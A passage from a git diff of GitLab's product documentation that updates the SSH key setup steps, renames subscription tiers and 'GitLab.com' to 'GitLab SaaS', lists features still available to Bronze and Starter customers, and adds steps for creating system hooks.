account. To do so, follow these steps: +Now you can copy the SSH key you created to your GitLab account. 1. Copy your **public** SSH key to a location that saves information in text format. The following options saves information for ED25519 keys to the clipboard @@ -201,7 +167,7 @@ Now you can copy the SSH key you created to your GitLab account. To do so, follo pbcopy < ~/.ssh/id_ed25519.pub ``` - **Linux (requires the xclip package):** + **Linux (requires the `xclip` package):** ```shell xclip -sel clip < ~/.ssh/id_ed25519.pub @@ -216,8 +182,9 @@ Now you can copy the SSH key you created to your GitLab account. To do so, follo If you're using an RSA key, substitute accordingly. 1. Navigate to `https://gitlab.com` or your local GitLab instance URL and sign in. -1. Select your avatar in the upper right corner, and click **Settings** -1. Click **SSH Keys**. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **SSH Keys**. 1. Paste the public key that you copied into the **Key** text box. 1. Make sure your key includes a descriptive name in the **Title** text box, such as _Work Laptop_ or _Home Workstation_. @@ -379,7 +346,7 @@ git remote set-url origin git@<user_1.gitlab.com>:gitlab-org/gitlab.git ## Deploy keys -Read the [documentation on Deploy Keys](../user/project/deploy_keys/index.md). +Read the [documentation on deploy keys](../user/project/deploy_keys/index.md). ## Applications diff --git a/doc/subscriptions/bronze_starter.md b/doc/subscriptions/bronze_starter.md new file mode 100644 index 00000000000..8b223953007 --- /dev/null +++ b/doc/subscriptions/bronze_starter.md @@ -0,0 +1,139 @@ +--- +stage: Fulfillment +group: Purchase +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Features available to Starter and Bronze subscribers + +Although GitLab has discontinued selling the Bronze and Starter tiers, GitLab +continues to honor the entitlements of existing Bronze and Starter tier GitLab +customers for the duration of their contracts at that level. + +These features remain available to Bronze and Starter customers, even though +the tiers are no longer mentioned in GitLab documentation: + +- [Activate GitLab EE with a license](../user/admin_area/license.md) +- [Adding a help message to the login page](../user/admin_area/settings/help_page.md#adding-a-help-message-to-the-login-page) +- [Burndown and burnup charts](../user/project/milestones/burndown_and_burnup_charts.md), + including [per-project charts](../user/project/milestones/index.md#project-burndown-charts) and + [per-group charts](../user/project/milestones/index.md#group-burndown-charts) +- [Code owners](../user/project/code_owners.md) +- Description templates: + - [Setting a default template for merge requests and issues](../user/project/description_templates.md#setting-a-default-template-for-merge-requests-and-issues) +- [Email from GitLab](../tools/email.md) +- Groups: + - [Creating group memberships via CN](../user/group/index.md#creating-group-links-via-cn) + - [Group push rules](../user/group/index.md#group-push-rules) + - [Managing group memberships via LDAP](../user/group/index.md#manage-group-memberships-via-ldap) + - [Member locking](../user/group/index.md#member-lock) + - [Overriding user permissions](../user/group/index.md#overriding-user-permissions) + - [User contribution analysis](../user/group/index.md#user-contribution-analysis) + - [Kerberos integration](../integration/kerberos.md) +- Issue Boards: + - [Configurable issue boards](../user/project/issue_board.md#configurable-issue-boards) + - [Sum of issue weights](../user/project/issue_board.md#sum-of-issue-weights) + - [Work In Progress limits](../user/project/issue_board.md#work-in-progress-limits) +- Issues: + - [Multiple assignees for issues](../user/project/issues/multiple_assignees_for_issues.md) + - [Issue weights](../user/project/issues/issue_weight.md) + - [Issue histories](../user/project/issues/issue_data_and_actions.md#issue-history) contain changes to issue description + - [Adding an issue to an iteration](../user/project/issues/managing_issues.md#add-an-issue-to-an-iteration) +- [Iterations](../user/group/iterations/index.md) +- [Kerberos integration](../integration/kerberos.md) +- LDAP: + - Querying LDAP [from the Rails console](../administration/auth/ldap/ldap-troubleshooting.md#query-ldap), or + [querying a single group](../administration/auth/ldap/ldap-troubleshooting.md#query-a-group-in-ldap) + - [Sync all users](../administration/auth/ldap/ldap-troubleshooting.md#sync-all-users) + - [Group management through LDAP](../administration/auth/ldap/ldap-troubleshooting.md#group-memberships) + - Syncing information through LDAP: + - Groups: [one group](../administration/auth/ldap/ldap-troubleshooting.md#sync-one-group), + [all groups programmatically](../administration/auth/ldap/index.md#group-sync), + [group sync schedule](../administration/auth/ldap/index.md#adjusting-ldap-group-sync-schedule), and + [all groups manually](../administration/auth/ldap/ldap-troubleshooting.md#sync-all-groups) + - [Configuration settings](../administration/auth/ldap/index.md#ldap-sync-configuration-settings) + - Users: [all users](../administration/auth/ldap/index.md#user-sync), + [administrators](../administration/auth/ldap/index.md#administrator-sync), + [user sync schedule](../administration/auth/ldap/index.md#adjusting-ldap-user-sync-schedule) + - [Adding group links](../administration/auth/ldap/index.md#adding-group-links) + - [Lock memberships to LDAP synchronization](../administration/auth/ldap/index.md#global-group-memberships-lock) + - Rake tasks for [LDAP tasks](../administration/raketasks/ldap.md), including + [syncing groups](../administration/raketasks/ldap.md#run-a-group-sync) +- Logging: + - [`audit_json.log`](../administration/logs.md#audit_jsonlog) (specific entries) + - [`elasticsearch.log`](../administration/logs.md#elasticsearchlog) +- Merge requests: + - [Full code quality reports in the code quality tab](../user/project/merge_requests/code_quality.md#code-quality-reports) + - [Merge request approvals](../user/project/merge_requests/merge_request_approvals.md) + - [Multiple assignees](../user/project/merge_requests/getting_started.md#multiple-assignees) + - [Approval Rule information for Reviewers](../user/project/merge_requests/getting_started.md#approval-rule-information-for-reviewers) **(PREMIUM)** + - [Required Approvals](../user/project/merge_requests/merge_request_approvals.md#required-approvals) + - [Code Owners as eligible approvers](../user/project/merge_requests/merge_request_approvals.md#code-owners-as-eligible-approvers) + - All [Approval rules](../user/project/merge_requests/merge_request_approvals.md#approval-rules) features + - [Restricting push and merge access to certain users](../user/project/protected_branches.md#restricting-push-and-merge-access-to-certain-users) + - [Visual Reviews](../ci/review_apps/index.md#visual-reviews) +- Metrics and analytics: + - [Contribution Analytics](../user/group/contribution_analytics/index.md) + - [Merge Request Analytics](../user/analytics/merge_request_analytics.md) + - [Code Review Analytics](../user/analytics/code_review_analytics.md) + - [Audit Events](../administration/audit_events.md), including + [Group events](../administration/audit_events.md#group-events) and + [Project events](../administration/audit_events.md#project-events) +- Rake tasks: + - [Displaying GitLab license information](../administration/raketasks/maintenance.md#show-gitlab-license-information) +- Reference Architecture information: + - [Traffic load balancers](../administration/reference_architectures/index.md#traffic-load-balancer) + - [Zero downtime updates](../administration/reference_architectures/index.md#zero-downtime-updates) +- Repositories: + - [Repository size limit](../user/admin_area/settings/account_and_limit_settings.md#repository-size-limit) + - Repository mirroring: + - [Pull mirroring](../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) outside repositories in a GitLab repository + - [Overwrite diverged branches](../user/project/repository/repository_mirroring.md#overwrite-diverged-branches) + - [Trigger pipelines for mirror updates](../user/project/repository/repository_mirroring.md#trigger-pipelines-for-mirror-updates) + - [Hard failures](../user/project/repository/repository_mirroring.md#hard-failure) when mirroring fails + - [Trigger pull mirroring from the API](../user/project/repository/repository_mirroring.md#trigger-an-update-using-the-api) + - [Mirror only protected branches](../user/project/repository/repository_mirroring.md#mirror-only-protected-branches) + - [Bidirectional mirroring](../user/project/repository/repository_mirroring.md#bidirectional-mirroring) + - [Mirroring with Perforce Helix via Git Fusion](../user/project/repository/repository_mirroring.md#mirroring-with-perforce-helix-via-git-fusion) +- Runners: + - Run pipelines in the parent project [for merge requests from a forked project](../ci/merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project) + - [Shared runners pipeline minutes quota](../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota) +- [Push rules](../push_rules/push_rules.md) +- SAML for self-managed GitLab instance: + - [Administrator groups](../integration/saml.md#admin-groups) + - [Auditor groups](../integration/saml.md#auditor-groups) + - [External groups](../integration/saml.md#external-groups) + - [Required groups](../integration/saml.md#required-groups) +- Search: + - [Filtering merge requests by approvers](../user/search/index.md#filtering-merge-requests-by-approvers) + - [Filtering merge requests by "approved by"](../user/search/index.md#filtering-merge-requests-by-approved-by) + - [Advanced Global Search (Elasticsearch)](../user/search/advanced_global_search.md) + - [Advanced Search Syntax](../user/search/advanced_search_syntax.md) +- [Service Desk](../user/project/service_desk.md) +- [Storage usage statistics](../user/usage_quotas.md#storage-usage-statistics) + +The following developer features continue to be available to Starter and +Bronze-level subscribers: + +- APIs: + - LDAP synchronization: + - Certain fields in the [group details API](../api/groups.md#details-of-a-group) + - [syncing groups](../api/groups.md#sync-group-with-ldap) + - Listing, adding, and deleting [group links](../api/groups.md#list-ldap-group-links) + - [Push rules](../api/groups.md#push-rules) + - [Audit events](../api/audit_events.md), including + [group audit events](../api/groups.md#group-audit-events) and + [project audit events](../api/audit_events.md#project-audit-events) + - Projects API: certain fields in the [Create project API](../api/projects.md) + - [Resource iteration events API](../api/resource_iteration_events.md) + - Group milestones API: [Get all burndown chart events for a single milestone](../api/group_milestones.md#get-all-burndown-chart-events-for-a-single-milestone) + - [Group iterations API](../api/group_iterations.md) + - Project milestones API: [Get all burndown chart events for a single milestone](../api/milestones.md#get-all-burndown-chart-events-for-a-single-milestone) + - [Project iterations API](../api/iterations.md) + - Fields in the [Search API](../api/search.md) available only to [Advanced Global Search (Elasticsearch)](../integration/elasticsearch.md) users + - Fields in the [Merge requests API](../api/merge_requests.md) for [merge request approvals](../user/project/merge_requests/merge_request_approvals.md) + - Fields in the [Protected branches API](../api/protected_branches.md) that specify users or groups allowed to merge + - [Merge request approvals API](../api/merge_request_approvals.md) + - [Visual review discussions API](../api/visual_review_discussions.md) +- Development information: + - [Run Jenkins in a macOS development environment](../development/integrations/jenkins.md) diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md index aef1c1127c5..b7a1243be72 100644 --- a/doc/subscriptions/gitlab_com/index.md +++ b/doc/subscriptions/gitlab_com/index.md @@ -5,115 +5,83 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, reference --- -# GitLab.com subscription **(BRONZE ONLY)** +# GitLab SaaS subscription **(PREMIUM SAAS)** -GitLab.com is GitLab Inc.'s software-as-a-service offering. You don't need to -install anything to use GitLab.com, you only need to +GitLab SaaS is GitLab Inc.'s software-as-a-service offering. You don't need to +install anything to use GitLab SaaS, you only need to [sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away. -This page reviews the details of your GitLab.com subscription. +This page reviews the details of your GitLab SaaS subscription. -## Choose a GitLab.com group or personal subscription - -On GitLab.com you can apply a subscription to either a group or a personal namespace. - -When applied to: - -- A **group**, the group, all subgroups, and all projects under the selected - group on GitLab.com contains the features of the associated tier. GitLab recommends - choosing a group plan when managing an organization's projects and users. -- A **personal userspace**, all projects contain features with the - subscription applied, but as it's not a group, group features aren't available. - -You can read more about [common misconceptions](https://about.gitlab.com/handbook/marketing/strategic-marketing/enablement/dotcom-subscriptions/#common-misconceptions) regarding a GitLab.com subscription to help avoid issues. - -## Choose a GitLab.com tier +## Choose a GitLab SaaS tier Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose the features which fit your budget. For information on what features are available at each tier, see the -[GitLab.com feature comparison](https://about.gitlab.com/pricing/gitlab-com/feature-comparison/). +[GitLab SaaS feature comparison](https://about.gitlab.com/pricing/gitlab-com/feature-comparison/). ## Choose the number of users NOTE: Applied only to groups. -A GitLab.com subscription uses a concurrent (_seat_) model. You pay for a +A GitLab SaaS subscription uses a concurrent (_seat_) model. You pay for a subscription according to the maximum number of users enabled at once. You can add and remove users during the subscription period, as long as the total users at any given time doesn't exceed the subscription count. Every occupied seat is counted in the subscription, with the following exception: -- Members with Guest permissions on a Gold subscription. +- Members with Guest permissions on an Ultimate subscription. NOTE: To support the open source community and encourage the development of open -source projects, GitLab grants access to **Gold** features for all GitLab.com +source projects, GitLab grants access to **Ultimate** features for all GitLab SaaS **public** projects, regardless of the subscription. -## Obtain a GitLab.com subscription - -To subscribe to GitLab.com: - -- **For individuals**: - 1. Create a user account for yourself using our - [sign up page](https://gitlab.com/users/sign_up). - 1. Visit the [billing page](https://gitlab.com/profile/billings) - under your profile. - 1. Select the **Bronze**, **Silver**, or **Gold** GitLab.com plan through the - [Customers Portal](https://customers.gitlab.com/). - 1. Link your GitLab.com account with your Customers Portal account. - Once a plan has been selected, if your account is not - already linked, GitLab prompts you to link your account with a - **Sign in to GitLab.com** button. - 1. Select the namespace from the drop-down list to associate the subscription. - 1. Proceed to checkout. -- **For groups**: - 1. Create a user account for yourself using our - [sign up page](https://gitlab.com/users/sign_up). - 1. Create a [group](../../user/group/index.md). GitLab groups help assemble related - projects together allowing you to grant members access to several projects - at once. A group is not required if you plan on having projects inside a personal - namespace. - 1. Create additional users and - [add them to the group](../../user/group/index.md#add-users-to-a-group). - 1. Select the **Bronze**, **Silver**, or **Gold** GitLab.com plan through the - [Customers Portal](https://customers.gitlab.com/). - 1. Link your GitLab.com account with your Customers Portal account. - Once a plan has been selected, if your account is not - already linked, GitLab prompts you to link your account with a - **Sign in to GitLab.com** button. - 1. Select the namespace from the drop-down list to associate the subscription. - 1. Proceed to checkout. +## Obtain a GitLab SaaS subscription + +To subscribe to GitLab SaaS: + +1. Create a user account for yourself using our + [sign up page](https://gitlab.com/users/sign_up). +1. Create a [group](../../user/group/index.md). GitLab groups help assemble related + projects together allowing you to grant members access to several projects + at once. A group is not required if you plan on having projects inside a personal + namespace. +1. Create additional users and + [add them to the group](../../user/group/index.md#add-users-to-a-group). +1. Select the GitLab SaaS plan through the + [Customers Portal](https://customers.gitlab.com/). +1. Link your GitLab SaaS account with your Customers Portal account. + Once a plan has been selected, if your account is not + already linked, GitLab prompts you to link your account with a + **Sign in to GitLab.com** button. +1. Select the namespace from the drop-down list to associate the subscription. +1. Proceed to checkout. NOTE: You can also go to the [**My Account**](https://customers.gitlab.com/customers/edit) -page to add or change the GitLab.com account link. - -## View your GitLab.com subscription +page to add or change the GitLab SaaS account link. -To see the status of your GitLab.com subscription, log in to GitLab.com and go -to the **Billing** section of the relevant namespace: +## View your GitLab SaaS subscription -- **For individuals**: Visit the [billing page](https://gitlab.com/profile/billings) - under your profile. -- **For groups**: From the group page (*not* from a project in the group), go to **Settings > Billing**. +To see the status of your GitLab SaaS subscription, log in to GitLab SaaS and go +to the **Billing** section: - NOTE: - You must have Owner level [permissions](../../user/permissions.md) to view a group's billing page. +NOTE: +You must have Owner level [permissions](../../user/permissions.md) to view the billing page. - The following table describes details of your subscription for groups: +The following table describes details of your subscription: - | Field | Description | - |-----------------------------|-------------| - | **Seats in subscription** | If this is a paid plan, represents the number of seats you've bought for this group. | - | **Seats currently in use** | Number of seats in use. Select **See usage** to see a list of the users using these seats. For more details, see [Seat usage](#seat-usage). | - | **Max seats used** | Highest number of seats you've used. | - | **Seats owed** | _Seats owed_ = _Max seats used_ - _Seats in subscription_. | - | **Subscription start date** | Date your subscription started. If this is for a Free plan, it's the date you transitioned off your group's paid plan. | - | **Subscription end date** | Date your current subscription ends. Does not apply to Free plans. | +| Field | Description | +|:----------------------------|:------------| +| **Seats in subscription** | If this is a paid plan, represents the number of seats you've bought for this group. | +| **Seats currently in use** | Number of seats in use. Select **See usage** to see a list of the users using these seats. For more details, see [Seat usage](#seat-usage). | +| **Max seats used** | Highest number of seats you've used. | +| **Seats owed** | _Seats owed_ = _Max seats used_ - _Seats in subscription_. | +| **Subscription start date** | Date your subscription started. If this is for a Free plan, it's the date you transitioned off your group's paid plan. | +| **Subscription end date** | Date your current subscription ends. Does not apply to Free plans. | ## Seat usage @@ -125,7 +93,7 @@ The **Seat usage** page lists all users occupying seats. Details for each user i - Full name - Username -- Public email address (if they have provided one in their [profile settings](../../user/profile/index.md#profile-settings)) +- Public email address (if they have provided one in their [user settings](../../user/profile/index.md#user-settings)) The Seat usage listing is updated live, but the usage statistics on the billing page are updated only once per day. For this reason there can be a minor difference between the seat usage listing @@ -147,12 +115,12 @@ For example: | Amir | `ami` | Yes | | Amir | `amr` | No | -## Renew your GitLab.com subscription +## Renew your GitLab SaaS subscription To renew your subscription: -1. [Prepare for renewal by reviewing your account](#prepare-for-renewal-by-reviewing-your-account) -1. [Renew your GitLab.com subscription](#renew-or-change-a-gitlabcom-subscription) +1. [Prepare for renewal by reviewing your account.](#prepare-for-renewal-by-reviewing-your-account) +1. [Renew your GitLab SaaS subscription.](#renew-or-change-a-gitlab-saas-subscription) ### Prepare for renewal by reviewing your account @@ -180,21 +148,21 @@ It's important to regularly review your user accounts, because: A GitLab subscription is valid for a specific number of users. For details, see [Choose the number of users](#choose-the-number-of-users). -If the number of [billable users](#view-your-gitlabcom-subscription) exceeds the number included in the subscription, known +If the number of [billable users](#view-your-gitlab-saas-subscription) exceeds the number included in the subscription, known as the number of _users over license_, you must pay for the excess number of users either before renewal, or at the time of renewal. This is also known the _true up_ process. -### Renew or change a GitLab.com subscription +### Renew or change a GitLab SaaS subscription -You can adjust the number of users before renewing your GitLab.com subscription. +You can adjust the number of users before renewing your GitLab SaaS subscription. -- To renew for more users than are currently included in your GitLab.com plan, [add users to your subscription](#add-users-to-your-subscription). -- To renew for fewer users than are currently included in your GitLab.com plan, +- To renew for more users than are currently included in your GitLab SaaS plan, [add users to your subscription](#add-users-to-your-subscription). +- To renew for fewer users than are currently included in your GitLab SaaS plan, either [disable](../../user/admin_area/activating_deactivating_users.md#deactivating-a-user) or [block](../../user/admin_area/blocking_unblocking_users.md#blocking-a-user) the user accounts you no longer need. For details on upgrading your subscription tier, see -[Upgrade your GitLab.com subscription tier](#upgrade-your-gitlabcom-subscription-tier). +[Upgrade your GitLab SaaS subscription tier](#upgrade-your-gitlab-saas-subscription-tier). #### Automatic renewal @@ -235,7 +203,7 @@ The following is emailed to you: - A payment receipt. You can also access this information in the Customers Portal under [**View invoices**](https://customers.gitlab.com/receipts). -## Upgrade your GitLab.com subscription tier +## Upgrade your GitLab SaaS subscription tier To upgrade your [GitLab tier](https://about.gitlab.com/pricing/): @@ -266,13 +234,12 @@ If you renew or upgrade, your data is accessible again. CI pipeline minutes are the execution time for your [pipelines](../../ci/pipelines/index.md) on GitLab shared runners. Each -[GitLab.com tier](https://about.gitlab.com/pricing/) includes a monthly quota +[GitLab SaaS tier](https://about.gitlab.com/pricing/) includes a monthly quota of CI pipeline minutes: - Free: 400 minutes -- Bronze: 2,000 minutes -- Silver: 10,000 minutes -- Gold: 50,000 minutes +- Premium: 10,000 minutes +- Ultimate: 50,000 minutes Quotas apply to: @@ -280,22 +247,25 @@ Quotas apply to: subgroups, and nested projects. To view the group's usage, navigate to the group, then **Settings > Usage Quotas**. - Your personal account, where the minutes are available for your personal projects. - To view and buy personal minutes, click your avatar, then - **Settings > [Usage Quotas](https://gitlab.com/profile/usage_quotas#pipelines-quota-tab)**. + To view and buy personal minutes: + + 1. In the top-right corner, select your avatar. + 1. Select **Edit profile**. + 1. In the left sidebar, select **[Usage Quotas](https://gitlab.com/profile/usage_quotas#pipelines-quota-tab)**. Only pipeline minutes for GitLab shared runners are restricted. If you have a -specific runner set up for your projects, there is no limit to your build time on GitLab.com. +specific runner set up for your projects, there is no limit to your build time on GitLab SaaS. The available quota is reset on the first of each calendar month at midnight UTC. When the CI minutes are depleted, an email is sent automatically to notify the owner(s) of the namespace. You can [purchase additional CI minutes](#purchase-additional-ci-minutes), -or upgrade your account to [Silver or Gold](https://about.gitlab.com/pricing/). +or upgrade your account to a higher [plan](https://about.gitlab.com/pricing/). Your own runners can still be used even if you reach your limits. ### Purchase additional CI minutes -If you're using GitLab.com, you can purchase additional CI minutes so your +If you're using GitLab SaaS, you can purchase additional CI minutes so your pipelines aren't blocked after you have used all your CI minutes from your main quota. You can find pricing for additional CI/CD minutes in the [GitLab Customers Portal](https://customers.gitlab.com/plans). Additional minutes: @@ -303,11 +273,11 @@ main quota. You can find pricing for additional CI/CD minutes in the - Are only used after the shared quota included in your subscription runs out. - Roll over month to month. -To purchase additional minutes for your group on GitLab.com: +To purchase additional minutes for your group on GitLab SaaS: 1. From your group, go to **Settings > Usage Quotas**. 1. Select **Buy additional minutes** and GitLab directs you to the Customers Portal. -1. Locate the subscription card that's linked to your group on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. +1. Locate the subscription card that's linked to your group on GitLab SaaS, click **Buy more CI minutes**, and complete the details about the transaction. 1. Once we have processed your payment, the extra CI minutes are synced to your group namespace. 1. To confirm the available CI minutes, go to your group, then **Settings > Usage Quotas**. @@ -315,10 +285,12 @@ To purchase additional minutes for your group on GitLab.com: To purchase additional minutes for your personal namespace: -1. Click your avatar, then go to **Settings > Usage Quotas**. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Usage Quotas**. 1. Select **Buy additional minutes** and GitLab redirects you to the Customers Portal. -1. Locate the subscription card that's linked to your personal namespace on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes are synced to your personal namespace. -1. To confirm the available CI minutes for your personal projects, click your avatar, then go to **Settings > Usage Quotas**. +1. Locate the subscription card that's linked to your personal namespace on GitLab SaaS, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes are synced to your personal namespace. +1. To confirm the available CI minutes for your personal projects, go to the **Usage Quotas** settings again. The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month. @@ -348,7 +320,7 @@ locked. Projects can only be unlocked by purchasing more storage subscription un To purchase more storage for either a personal or group namespace: -1. Sign in to GitLab.com. +1. Sign in to GitLab SaaS. 1. From either your personal homepage or the group's page, go to **Settings > Usage Quotas**. 1. For each locked project, total by how much its **Usage** exceeds the free quota and purchased storage. You must purchase the storage increment that exceeds this total. @@ -361,7 +333,7 @@ To purchase more storage for either a personal or group namespace: 1. Select the **Privacy Policy** and **Terms of Service** checkbox. 1. Select **Buy subscription**. 1. Sign out of the Customers Portal. -1. Switch back to the GitLab.com tab and refresh the page. +1. Switch back to the GitLab SaaS tab and refresh the page. The **Purchased storage available** total is incremented by the amount purchased. All locked projects are unlocked and their excess usage is deducted from the additional storage. diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md index 383ba471df4..aff392f61ff 100644 --- a/doc/subscriptions/index.md +++ b/doc/subscriptions/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, reference --- -# GitLab subscription **(STARTER)** +# GitLab subscription **(PREMIUM)** GitLab offers tiers of features. Your subscription determines which tier you have access to. Subscriptions are valid for 12 months. @@ -19,26 +19,26 @@ GitLab provides special subscriptions to participants in: When choosing a subscription, there are two factors to consider: -- [GitLab.com or self-managed](#choose-between-gitlabcom-or-self-managed) +- [GitLab SaaS or GitLab self-managed](#choose-between-gitlab-saas-or-gitlab-self-managed) - [GitLab tier](#choose-a-gitlab-tier) -### Choose between GitLab.com or self-managed +### Choose between GitLab SaaS or GitLab self-managed There are some differences in how a subscription applies, depending if you use -GitLab.com or a self-managed instance: +GitLab SaaS or GitLab self-managed: -- [GitLab.com](gitlab_com/index.md): The GitLab software-as-a-service offering. - You don't need to install anything to use GitLab.com, you only need to +- [GitLab SaaS](gitlab_com/index.md): The GitLab software-as-a-service offering. + You don't need to install anything to use GitLab SaaS, you only need to [sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away. - [GitLab self-managed](self_managed/index.md): Install, administer, and maintain your own GitLab instance. -On a self-managed instance, a GitLab subscription provides the same set of -features for _all_ users. On GitLab.com, you can apply a subscription to either +On a GitLab self-managed instance, a GitLab subscription provides the same set of +features for _all_ users. On GitLab SaaS, you can apply a subscription to either a group or a personal namespace. NOTE: -Subscriptions cannot be transferred between GitLab.com and GitLab self-managed. +Subscriptions cannot be transferred between GitLab SaaS and GitLab self-managed. A new subscription must be purchased and applied as needed. ### Choose a GitLab tier @@ -47,8 +47,8 @@ Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choo the features which fit your budget. For information on what features are available at each tier for each product, see: -- [GitLab.com feature comparison](https://about.gitlab.com/pricing/gitlab-com/feature-comparison/) -- [Self-managed feature comparison](https://about.gitlab.com/pricing/self-managed/feature-comparison/) +- [GitLab SaaS feature comparison](https://about.gitlab.com/pricing/gitlab-com/feature-comparison/) +- [GitLab self-managed feature comparison](https://about.gitlab.com/pricing/self-managed/feature-comparison/) ## Find your subscription @@ -76,7 +76,7 @@ With the [Customers Portal](https://customers.gitlab.com/) you can: - [Change your company details](#change-your-company-details) - [Change your payment method](#change-your-payment-method) - [Change the linked account](#change-the-linked-account) -- [Change the associated namespace](#change-the-associated-namespace) +- [Change the namespace the subscription is linked to](#change-the-linked-namespace) - [Change customers portal account password](#change-customers-portal-account-password) ### Change your personal details @@ -130,27 +130,27 @@ method as the default: ### Change the linked account -To change the GitLab.com account associated with your Customers Portal -account: +To change the GitLab.com account linked to your Customers Portal account: 1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in). -1. In a separate browser tab, go to [GitLab.com](https://gitlab.com) and ensure you +1. In a separate browser tab, go to [GitLab SaaS](https://gitlab.com) and ensure you are not logged in. 1. On the Customers Portal page, click **My account > Account details**. 1. Under **Your GitLab.com account**, click **Change linked account**. -1. Log in to the [GitLab.com](https://gitlab.com) account you want to link to the Customers Portal +1. Log in to the [GitLab SaaS](https://gitlab.com) account you want to link to the Customers Portal account. -### Change the associated namespace +### Change the linked namespace -With a linked GitLab.com account: +To change the namespace linked to a subscription: -1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in). +1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) with a + [linked](#change-the-linked-account) GitLab SaaS account. 1. Navigate to the **Manage Purchases** page. -1. Click **Change linked namespace**. +1. Select **Change linked namespace**. 1. Select the desired group from the **This subscription is for** dropdown. -1. Click **Proceed to checkout**. +1. Select **Proceed to checkout**. Subscription charges are calculated based on the total number of users in a group, including its subgroups and nested projects. If the total number of users exceeds the number of seats in your subscription, your account is charged for the additional users. @@ -173,7 +173,7 @@ Find more information how to apply and renew at ## GitLab for Open Source subscriptions -All [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/join/) +All [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/) requests, including subscription renewals, must be made by using the application process. If you have any questions, send an email to `opensource@gitlab.com` for assistance. diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md index a9c0337509a..dc98a9415d7 100644 --- a/doc/subscriptions/self_managed/index.md +++ b/doc/subscriptions/self_managed/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, reference --- -# GitLab self-managed subscription **(STARTER ONLY)** +# GitLab self-managed subscription **(PREMIUM SELF)** You can install, administer, and maintain your own GitLab instance. @@ -37,10 +37,10 @@ at each tier, see the ## Subscription seats -A self-managed subscription uses a hybrid model. You pay for a subscription +A GitLab self-managed subscription uses a hybrid model. You pay for a subscription according to the maximum number of users enabled during the subscription period. For instances that aren't offline or on a closed network, the maximum number of -simultaneous users in the self-managed installation is checked each quarter, +simultaneous users in the GitLab self-managed installation is checked each quarter, using [Seat Link](#seat-link). ### Billable users @@ -76,15 +76,14 @@ GitLab has several features which can help you manage the number of users: ## Obtain a subscription -To subscribe to GitLab through a self-managed installation: +To subscribe to GitLab through a GitLab self-managed installation: -1. Go to the [Customers Portal](https://customers.gitlab.com/) and purchase a - **Starter**, **Premium**, or **Ultimate** self-managed plan. +1. Go to the [Customers Portal](https://customers.gitlab.com/) and purchase a GitLab self-managed plan. 1. After purchase, a license file is sent to the email address associated to the Customers Portal account, which must be [uploaded to your GitLab instance](../../user/admin_area/license.md#uploading-your-license). NOTE: -If you're purchasing a subscription for an existing **Core** self-managed +If you're purchasing a subscription for an existing **Free** GitLab self-managed instance, ensure you're purchasing enough seats to [cover your users](../../user/admin_area/index.md#administering-users). @@ -114,7 +113,7 @@ It also displays the following important statistics: To renew your subscription, [prepare for renewal by reviewing your account](#prepare-for-renewal-by-reviewing-your-account), -then [renew your self-managed subscription](#renew-a-subscription). +then [renew your GitLab self-managed subscription](#renew-a-subscription). ### Prepare for renewal by reviewing your account @@ -203,9 +202,9 @@ An invoice is generated for the renewal and available for viewing or download on > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208832) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.9. -Seat Link allows GitLab Inc. to provide our self-managed customers with prorated charges for user growth throughout the year using a quarterly reconciliation process. +Seat Link allows GitLab Inc. to provide our GitLab self-managed customers with prorated charges for user growth throughout the year using a quarterly reconciliation process. -Seat Link daily sends a count of all users in connected self-managed instances to GitLab. That information is used to automate prorated reconciliations. The data is sent securely through an encrypted HTTPS connection to `customers.gitlab.com` on port `443`. +Seat Link daily sends a count of all users in connected GitLab self-managed instances to GitLab. That information is used to automate prorated reconciliations. The data is sent securely through an encrypted HTTPS connection to `customers.gitlab.com` on port `443`. Seat Link provides **only** the following information to GitLab: @@ -325,11 +324,11 @@ behave as expected if you're not prepared for the expiry. For example, [environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759). If you renew or upgrade, your data is again accessible. -For self-managed customers, there is a 14-day grace period when your features +For GitLab self-managed customers, there is a 14-day grace period when your features continue to work as-is, after which the entire instance becomes read only. -However, if you remove the license, you immediately revert to Core +However, if you remove the license, you immediately revert to Free features, and the instance become read / write again. ## Contact Support diff --git a/doc/system_hooks/system_hooks.md b/doc/system_hooks/system_hooks.md index 7e4d274f21b..ea588fb32a5 100644 --- a/doc/system_hooks/system_hooks.md +++ b/doc/system_hooks/system_hooks.md @@ -48,6 +48,17 @@ NOTE: We follow the same structure and deprecations as [Webhooks](../user/project/integrations/webhooks.md) for Push and Tag events, but we never display commits. +## Create a system hook + +To create a system hook: + +1. In the top navigation bar, go to **{admin}** **Admin Area**. +1. In the left sidebar, select **System Hooks**. +1. Provide the **URL** and **Secret Token**. +1. Select the check box next to each **Trigger** you want to enable. +1. Select **Enable SSL verification**, if desired. +1. Click **Add system hook**. + ## Hooks request example **Request header**: @@ -300,15 +311,11 @@ If the user 